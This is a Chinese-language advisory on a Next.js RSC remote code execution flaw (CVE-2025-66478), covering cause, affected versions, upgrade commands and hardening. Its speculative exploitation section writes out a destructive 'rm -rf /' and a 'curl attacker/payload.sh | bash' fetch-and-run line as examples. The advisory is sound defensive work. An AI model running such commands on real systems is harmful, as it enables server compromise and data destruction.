Next.js 爆出严重 RSC 远程代码执行漏洞（CVE-2025-66478）深度分析与升级指南
发布日期：2025.12
此漏洞影响 Next.js 15/16 版本及部分 14.x canary 版本，且已出现 PoC 利用。官方已发布紧急修复，建议所有生产环境立即升级！
一、漏洞概述
2025 年 12 月，Next.js 官方发布了关于 React Server Components（RSC）链路中存在远程代码执行（RCE）漏洞 的紧急公告。该漏洞的 CVE 编号为：
CVE-2025-66478 — Next.js RSC Remote Code Execution
漏洞原因：
漏洞源于 Next.js 在处理 RSC 数据流（RSC Payload）时，未能正确验证或隔离用户输入。攻击者可通过构造恶意请求包，导致服务器执行任意代码。
漏洞影响：
- 远程攻击者无需认证
- 通过构造特定请求
- 在 Next.js 服务端执行 任意 JavaScript 或系统命令
二、影响范围
以下 Next.js 版本均确认受影响：
版本 状态 Next.js 16.x ❌ 受影响 Next.js 15.x ❌ 受影响 Next.js 14.x（canary 部分版本） ❌ 受影响 Next.js 14.x 稳定版 ⚠️ 部分可能受影响（官方建议升级） 如果你的项目包含 app/ 目录（App Router）→ 默认启用 RSC → 100% 有风险。
目录示例：
app/ ├─ layout.js ├─ page.js └─ ...三、为什么 RSC 会出现 RCE？
以下为技术向分析，帮助开发者理解漏洞本质。
RSC 流程简述：
Next.js 在 SSR 渲染时，会：
- 接收来自客户端的 RSC 请求
- 解析其 Payload
- 构造成服务端可执行的 React 组件树
- 按照组件逻辑进行渲染与执行
问题点：
Next.js 在处理 RSC Payload 时存在不安全的反序列化逻辑。
攻击者可以构造恶意 Payload，使 Next.js 调用：
- 内部未公开的
server actions - 任意函数引用（
Function Reference） - 甚至操作 Node.js 内部 API（如
fs.writeFile,child_process.exec）
最终导致任意代码执行，属于典型的：
用户输入 → 不安全解析 → 服务端执行
这种问题是 SSR/RSC 类框架中最严重的一类漏洞。
四、可被攻击者利用的方式（推测）
根据目前安全研究人员的复现情况，该漏洞可能允许：
✔ 1. 调用 server actions 并传入恶意参数 ✔ 2. 通过 RSC Payload 调用任意函数引用 ✔ 3. 构造虚假组件指令，让服务器执行动态代码 ✔ 4. 绕过 React 组件隔离，执行 Node.js 原生模块
例如：
fs.writeFile
child_process.exec
eval
Function()甚至系统命令，如：
rm -rf /curl attacker/payload.sh | bash攻击者无需登录，无需 token，只要能访问你的 /app 入口即可。
五、受影响的生态项目（已确认）
以下常见开源项目因基于 Next.js，已被列入受影响范围：
Umami Analytics
- 后台完全基于 Next.js App Router
- 默认开放多个 RSC API
- 风险极高
所有采用 Next.js 作为后台管理面板的 SaaS
包括：
- 内部运维平台
- 企业后台系统
- 商城后台
Node.js + Next.js SSR 项目
如：
- 企业门户
- 教育平台
- 数据管理界面
- BFF 网关层
换句话说：
不仅是前端项目。任何部署了 Next.js 服务端逻辑的 Node 系统都可能被远程 RCE。
六、升级方案（必须执行）
官方已紧急发布修复，建议立即升级：
npm
npm install next@latestpnpm
pnpm add next@latestyarn
yarn add next@latest检查版本号
npm ls next重建产物（非常重要）
rm -rf .nextnpm run build✔ 重新部署你的生产环境
七、如何自查你的项目是否存在风险？
- 使用 App Router？
有 /app 目录 = 有 RSC 代码执行链 → 有漏洞
- 是否开启 SSR？
以下任意特征均可能受影响：
export const dynamic = 'force-dynamic'
fetch() 服务端调用
server actions
middleware- 你的服务是否暴露到公网？
公网 = 高危 内网 = 仍有风险（如公司被 phishing 入侵）
八、安全加固建议（升级后仍建议执行）
- WAF 防护
开放在 Cloudflare / 阿里云的用户应启用：
SSR Injection 防护
JSON 序列化攻击防护
-
清理旧构建 rm -rf .next
-
检查日志
搜索是否出现大量异常 RSC 请求：
/_next/flight/_next/datarsc=1- 手动关闭不必要的 server actions
若项目对安全要求高，可考虑禁用自动暴露的 actions。
九、官方与参考资料
阿里云漏洞库： https://avd.aliyun.com/detail?id=AVD-2025-66478
GitHub Security Advisory： （建议关注 Next.js 官方仓库）